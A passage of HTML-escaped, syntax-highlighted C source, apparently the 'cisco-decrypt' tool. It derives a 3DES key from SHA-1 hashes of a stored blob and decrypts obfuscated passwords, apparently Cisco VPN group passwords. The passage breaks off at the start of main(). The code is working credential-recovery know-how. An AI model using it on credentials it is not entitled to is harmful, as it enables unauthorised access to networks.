&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MERCHANTABILITY &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; FITNESS FOR A PARTICULAR PURPOSE&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;  See the
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GNU General Public License &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; more details&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You should have received a copy of the GNU General Public License
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;along with this program; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt;, write to the Free Software
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Foundation, Inc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;59&lt;/span&gt; Temple Place, Suite &lt;span style=&#34;color:#ae81ff&#34;&gt;330&lt;/span&gt;, Boston, MA  &lt;span style=&#34;color:#ae81ff&#34;&gt;02111&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1307&lt;/span&gt;  USA
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requires libgcrypt version &lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;90&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; newer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Compile with:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcc &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;Wall &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;o cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;c &lt;span style=&#34;color:#f92672&#34;&gt;$&lt;/span&gt;(libgcrypt&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;config &lt;span style=&#34;color:#f92672&#34;&gt;--&lt;/span&gt;libs &lt;span style=&#34;color:#f92672&#34;&gt;--&lt;/span&gt;cflags)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Usage:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;./&lt;/span&gt;cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt DEADBEEF&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;012345678&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;424242.&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7261&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;gcrypt.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;errno.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; hex2bin_c(unsigned &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; c)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;9&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;F&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;f&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; hex2bin(&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;str, char &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;bin, &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;len)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; i, l;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;bin)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; str[i] &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hex2bin_c(str[i]) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;l &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; i;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((l &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;l &lt;span style=&#34;color:#f92672&#34;&gt;/=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; malloc(l);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (p &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; NULL)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; ENOMEM;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; l; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hex2bin_c(str[i&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; hex2bin_c(str[i&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;bin &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (len)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; l;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; c_decrypt(char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;ct, &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; len, char &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;resp, char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;reslenp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;h1  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;h4  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;enc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], h2[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], h3[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], key[&lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;iv &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; h1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;res;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_hd_t ctx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; reslen;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (len &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;48&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;len &lt;span style=&#34;color:#f92672&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(ht, h1, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;19&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;19&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(key, h2, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(key&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;, h3, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt; who cares about parity anyway&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (memcmp(h4, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;res &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; malloc(len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (res &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; NULL)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_open(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_setkey(ctx, key, &lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_setiv(ctx, iv, &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_decrypt(ctx, (unsigned char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)res, len, (unsigned char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)enc, len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_close(ctx);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reslen &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; len &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; res[len&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;res[reslen] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (resp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;resp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; res;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (reslenp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;reslenp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; reslen;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; argc, char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;argv[])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; i, len, ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;bin, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;pw;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_check_version(NULL);
